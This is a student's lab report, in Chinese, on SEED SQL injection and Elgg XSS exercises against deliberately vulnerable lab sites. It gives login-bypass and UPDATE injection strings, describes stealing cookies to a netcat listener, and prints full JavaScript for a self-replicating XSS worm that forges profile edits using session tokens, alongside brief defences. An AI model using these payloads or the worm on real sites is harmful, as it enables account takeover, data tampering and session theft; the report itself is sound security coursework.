20251918 2024-2025-2 《网络攻防实践》实践十报告
1.实践内容
本周主要围绕两大Web安全漏洞——SQL注入与XSS跨站脚本攻击,进行了理论学习和完整的攻防实践。
1.1 SEED SQL注入攻击与防御实验
在已搭建的员工管理系统(www.SEEDLabSQLInjection.com)上,完成了四项任务:首先熟悉MySQL基本操作与SQL查询语法;然后针对登录页面的SELECT语句实施注入攻击,在不知道密码的情况下以管理员身份成功登录;接着利用个人信息编辑页面的UPDATE语句漏洞,通过构造恶意昵称参数篡改管理员的薪资数据;最后学习了如何通过参数化查询等手段防御SQL注入。
1.2 SEED XSS跨站脚本攻击实验(Elgg)
在Elgg社交平台(www.xsslabelgg.com)上,逐步推进XSS攻击的复杂度:从最基础的弹窗测试开始,到窃取并远程发送用户Cookie,再到编写JavaScript自动添加好友、篡改他人个人资料,最终开发出能够在用户间自我复制传播的XSS蠕虫。实验最后还通过启用HTMLawed插件,验证了输入过滤对XSS攻击的防御效果。
整个实践过程完整覆盖了“漏洞发现—漏洞利用—攻击升级—防御修复”这一安全研究的闭环逻辑。
2.实践过程
(1)实验环境配置,新建虚拟机











2.1 SEED SQL注入攻击与防御实验
2.1.1 熟悉SQL语句
(1)首先输入hostname 20241909enke更改主机名,然后重新打开终端

(2)首先我们需要利用指令 sudo service apache2 start 开启apache服务。通过下图我们可以看到服务器处于正在运行的状态。

(2)使用命令 mysql -u root -pseedubuntu 登录MySQL数据库。

(3)利用指令 show databases;(注意千万不可以省略;)查看mysql中已有的数据库。

(4)利用指令 use Users; 和 show tables;(注意“;”)进行切换数据库,并在查看Users数据库中的所有表。

(5)利用sql语句 select * from credential; 查看credential中所有记录。

(6)使用sql语句 select * from credential where Name = 'Ted'; 查询Name为Ted的相关记录。

2.1.2 对SELECT语句的SQL注入攻击
(1)首先在浏览器中输入 www.SEEDLabSQLInjection.com 进入已经搭建好的Web页面。可以看到是这样的一个登录界面:

(2)右键查看网页源码,选择view page source发现登陆的表单中使用 get 方法访问 unsafe_home.php,


(3)相关的文件可以利用文件夹进行查看,其地址为:/var/www/SQLInjection/unsafe_home.php。通过下面两个图我们可以看到,该程序针对admin和普通用户具有不同的处理方法。


(4)因此针对程序代码,我们可以构造 Admin'#,并让 $input_uname 等于该值。通过这样的方法我们便可以在不知道密码的情况下以admin用户进行登录,如下图,密码随机输入:

可以看到成功登录

2.1.3 对 UPDATE语句的SQL注入攻击
(1)首先查看 Edit_Profile 页面的源代码。点击上方的 Edit Profile 进入更新页面,然后右键查看源代码。

(2)从下图我们看到,表单依旧是以 get 方式将数据发到 unsafe_edit_backend.php 页面。

(3)跟上一个类似,依旧是用文件夹查看 unsafe_edit_backend.php 页面,其地址为 /var/www/SQLInjection/unsafe_edit_backend.php。


我们可以看到UPDATE更新语句处,我们可以通过构造 $input_nickname 的值来进行SQL注入攻击。我们可以使 $input_nickname 的值等于 ', Salary='20251918' where name='Admin'; #,也就是把Admin的Salary改为20251918。
(4)4、在NickName处输入 ', Salary='20251918 'where name='Admin'; #


可以看到Admin的Salary已经改为251918
2.2 SEED XSS跨站脚本攻击实验
2.2.1 原始xss
(1)首先在浏览器中访问 http://www.xsslabelgg.com 。

(2)使用账号:Alice,密码:seedalice 进行登录。

(3)点击Alice头像进入主页,再选择 Edit profile,最后在 Brief description中输入XSS攻击代码 。
这段代码执行xss跨站脚本攻击其中alert函数可以在前端打印信息,这里我们选择打印字符串“xss”。



2.2.2 弹窗显示cookie信息:将cookie信息显示
(1)在 Edit profile 里面的 Brief description 中输入xss攻击代码
目的是打印网站的cookie值。

(2)2.点击保存后,会显示出如下cookie的信息。这仅是xss的一个基本用途。

2.2.3 窃取受害者的cookies:将cookie发送给攻击者
(1)因为需要把cookie发送给攻击者,因此首先查看seed虚拟机的IP地址,从下图可以看出,IP地址为:192.168.200.137。

(2)根据seed的IP地址构造xss攻击代码(端口号选择我的学号后四位),在 Edit profile 里面的 Brief description 中输入xss攻击代码 并保存。

(3)切换账号,使用boby的账号进行登录。账号:Boby,密码:seedboby。再终端里使用指令 nc -l 1918 -v 监听1918端口。

(4)boby账号访问Alice,成功得到Boby的cookie。

2.2.4 成为受害者的朋友
(1)使用Alice的账户访问Boby的主页,打开开发者工具,点击添加好友这一按钮,下方显示请求代码,说明要发送一个附带id时间戳与token三个参数的请求


(2)到Alice主页中的Edit profile处,在about me模块中加入如下代码


(3)点击保存后回到主页发现已经自动添加Boby为好友

2.2.5修改受害者的信息:使用js程序使得受害者在访问Alice的页面时,资料无需干预却被修改
(1)在Alice的About me中插入以下恶意代码
点击查看代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack again by 20251918hjh"+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var aliceGuid=44;
if(elgg.session.user.guid!=aliceGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>



2.2.6编写XSS蠕虫
(1)代码如下,依旧写入Alice的个人简介
点击查看代码
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag =
"<script id=\'worm\' type=\'text/javascript\'>";
var jsCode =
document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode =
encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
var content=
token + ts +
"&name=" + userName +
"&description=<p>20251918hjh arrived"
+ wormCode + "</p>" + guid;
var sendurl =
"http://www.xsslabelgg.com/action/profile/edit";
if(elgg.session.user.guid!=44){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader(
"Content-Type",
"application/x-www-form-urlencoded"
);
Ajax.send(content);
}
}
</script>

(2)登录boby账号访问alice主页后,boby的简介被改

(3)使用 Admin 账号(密码 seedelgg)访问 Boby 主页,Admin 也被感染,证明蠕虫可以在用户之间自动传播。

2.2.7对抗XSS攻击
(1)登录管理员账户,账号:admin,密码:seedelgg,并在Account-Administration-Plugins中找到HTMLawed点按Actived按钮将其打开,此时画面显示deactived

(2)此时再访问alice的主页发现xss攻击被阻止了,对抗成功

3.学习中遇到的问题及解决
-
问题1:
![877d9b5d-3376-4a69-9b88-8c2a0bb56124]()
-
问题1解决方案:格式错误少打一个s重新输入可解决
4.实践总结
通过本次实践,我对 SQL 注入和 XSS 攻击有了从原理到实操的系统认识。SQL 注入实验中,简单的(Admin'# ) 就能绕过认证,Update 注入还可跨字段篡改他人薪酬,这让我深刻理解了“拼接用户输入”的危险性,意识到参数化查询才是防御根本。XSS 实验的攻击链条尤为深刻:从弹窗、窃取 Cookie、自动添加好友,到最终编写出自复制蠕虫,完整展示了存储型 XSS 的巨大破坏力。蠕虫通过 JavaScript 自读取并编码写入受害者页面,实现了自动传播,而开启 HTMLawed 插件后的有效阻断,也验证了内容过滤作为纵深防御的必要性。实验中因拼写错误导致的失败,也提醒我安全攻防对细节要求极高。整个闭环实践既锻炼了动手能力,也让我更加重视输入验证与输出编码,今后会将安全意识融入每个编码环节。

浙公网安备 33010602011771号